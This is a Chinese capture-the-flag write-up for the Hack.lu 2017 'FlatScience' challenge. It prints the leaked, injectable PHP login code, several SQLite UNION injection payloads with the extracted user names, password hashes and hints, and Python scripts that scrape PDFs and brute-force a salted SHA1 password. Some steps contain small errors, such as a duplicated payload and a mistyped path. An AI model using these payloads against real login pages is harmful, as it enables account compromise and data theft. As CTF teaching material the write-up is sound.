• 【Hack.lu-2017】FlatScience


    信息:

    题目来源:Hack.lu-2017

    标签:SQL注入源码泄露

    解题过程

    题目页面有多层,存在许多pdf文件,首先进行目录扫描:

    [TIME] 			=> 2020-07-07 16:08:57.850532
    [TARGET] 			=> http://220.249.52.133:53003/
    [NUMBER_OF_THRED] 	=> 10
    [KEY_WORDS] 		=> ['flag', 'ctf', 'admin']
    
    [200] => robots.txt
    [200] => login.php
    [200] => admin.php
    [200] => index.html
    

    admin.php与login.php都是登录页面,在admin页面中,存在默认用户名admin,尝试进行弱口令爆破。

    无果,进行sql注入fuzz测试:

    FlatScience1

    发现sql注入漏洞,使用数据库为sqlite3。

    网页源代码中给出提示:

    FlatScience2

    传入参数debug,页面回显网页源码:

    <?php
    if(isset($_POST['usr']) && isset($_POST['pw'])){
            $user = $_POST['usr'];
            $pass = $_POST['pw'];
            $db = new SQLite3('../fancy.db');        
            $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
        if($res){
            $row = $res->fetchArray();
        }
        else{
            echo "<br>Some Error occourred!";
        }
        if(isset($row['id'])){
                setcookie('name',' '.$row['name'], time() + 60, '/');
                header("Location: /");
                die();
        }
    }
    if(isset($_GET['debug']))
    highlight_file('login.php');
    ?>
    

    根据源代码可知,代码没有针对post的参数进行任何过滤、可以在Set-Cookie中找到需要的回显。

    需要构建sqlite注入的payload,因为sqlite比较简易每个db文件就是一个数据库,所以不存在information_schema数据库,但存在类似作用的表sqlite_master

    CREATE TABLE sqlite_master ( 
        type TEXT, 
        name TEXT, 			// 表的名称
        tbl_name TEXT, 
        rootpage INTEGER,
        sql TEXT			// 创建此表的sql语句
    ); 
    

    首先确定回显位置:

    FlatScience3

    进行注入:

    [PAYLOAD]:usr=' union select 1,name from sqlite_master where type='table'-- &pw=1
    [OUTPUT] :Users			// 获得表名
    [PAYLOAD]:usr=' union select name,sql from sqlite_master where tbl_name = 'Users' and type = 'table'-- &pw=1
    [OUTPUT] :
    CREATE TABLE Users(
        id int primary key,
        name varchar(255),
        password varchar(255),
    	hint varchar(255)
    )			// 获得创建Users表的sql语句
    [PAYLOAD]:usr=' union select 1,group_concat(name) from Users -- &pw=1
    [OUTPUT] :admin,fritze,hansi
    [PAYLOAD]:usr=' union select 1,group_concat(name) from Users -- &pw=1
    [OUTPUT] :
    3fab54a50e770d830c0416df817567662a9dc85c,
    54eae8935c90f467427f05e4ece82cf569f89507,
    34b0bb7c304949f9ff2fc101eef0f048be10d3bd
    [PAYLOAD]:usr=' union select 1,group_concat(hint) from Users -- &pw=1
    [OUTPUT] : 
    my fav word in my fav paper?!,
    my love is…?,
    the password is password; 
    

    再根据之前的代码可以分析到:在前面的pdf文件中一个词语和Salz拼接后再shal加密的值等于 +34b0bb7c304949f9ff2fc101eef0f048be10d3bd

    下载所有的pdf文件:

    import urllib.request
    import re
    import os
    
    
    def getHtml(url):
        page = urllib.request.urlopen(url)
        html = page.read()
        page.close()
        return html
    
    
    def getPdfUrl(html):
        global url
        reg = r'href="(.+?.pdf)"'
        url_re = re.compile(reg)
        url_list = url_re.findall(html.decode('utf-8'))
        for i in range(len(url_list)):
            url_list[i] = url[:-10] + url_list[i]
        return url_list
    
    
    def getUrl(html):
        global url
        reg = r'href="(.+?.html)"'
        url_re = re.compile(reg)
        new_url = url[:-10] + url_re.findall(html.decode('utf-8'))[0]
        if '../' in new_url:
            return False
        else:
            url = new_url
            return True
    
    
    def getFile(url):
        file_name = url.split('/')[-1]
        u = urllib.request.urlopen(url)
        f = open(file_name, 'wb')
    
        block_sz = 8192
        while True:
            buffer = u.read(block_sz)
            if not buffer:
                break
    
            f.write(buffer)
        f.close()
        print ("Sucessful to download" + " " + file_name)
    
    
    if __name__ == "__main__":
        url = "http://220.249.52.133:43187/index.html"
        if os.path.exists('pdf_download'):
            pass
        else:
            os.mkdir('pdf_download')
        os.chdir(os.path.join(os.getcwd(), 'pdf_download'))
        
        FLAG = True
        while(FLAG):
            html = getHtml(url)
            url_list = getPdfUrl(html)
            for i in url_list:
                getFile(i)
            if getUrl(html):
                pass
            else:
                FLAG = False
    

    利用大佬的脚本:

    from io import StringIO
    
    #python3
    from pdfminer.pdfpage import PDFPage
    from pdfminer.converter import TextConverter
    from pdfminer.converter import PDFPageAggregator
    from pdfminer.layout import LTTextBoxHorizontal, LAParams
    from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
    
    
    import sys
    import string
    import os
    import hashlib
    import importlib
    import random
    from urllib.request import urlopen
    from urllib.request import Request
    
    
    def get_pdf():
        return [i for i in os.listdir("./pdf_download/") if i.endswith("pdf")]
     
     
    def convert_pdf_to_txt(path_to_file):
        rsrcmgr = PDFResourceManager()
        retstr = StringIO()
        codec = 'utf-8'
        laparams = LAParams()
        device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)
        fp = open(path_to_file, 'rb')
        interpreter = PDFPageInterpreter(rsrcmgr, device)
        password = ""
        maxpages = 0
        caching = True
        pagenos=set()
    
        for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
            interpreter.process_page(page)
    
        text = retstr.getvalue()
    
        fp.close()
        device.close()
        retstr.close()
        return text
     
     
    def find_password():
        pdf_path = get_pdf()
        for i in pdf_path:
            print ("Searching word in " + i)
            pdf_text = convert_pdf_to_txt("./ldf_download/"+i).split(" ")
            for word in pdf_text:
                sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
                if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
                    print ("Find the password :" + word)
                    exit()
                
     
    if __name__ == "__main__":
        find_password()
    

    参考

    攻防世界FlatScience

  • 相关阅读:
    c++11-17 模板核心知识(七)—— 模板参数 按值传递 vs 按引用传递
    c++11-17 模板核心知识(六)—— 理解auto推导规则
    c++11-17 模板核心知识(五)—— 理解模板参数推导规则
    c++11-17 模板核心知识(四)—— 可变参数模板 Variadic Template
    c++11-17 模板核心知识(三)—— 非类型模板参数 Nontype Template Parameters
    c++11-17 模板核心知识(二)—— 类模板
    c++11-17 模板核心知识(一)—— 函数模板
    Docker修改Devicemapper存储驱动为Direct-lvm模式
    Linux配置/etc/resolv.conf详解
    深入浅出容器学习--Docker网络
  • 原文地址:https://www.cnblogs.com/chalan630/p/13277197.html
Copyright © 2020-2023  润新知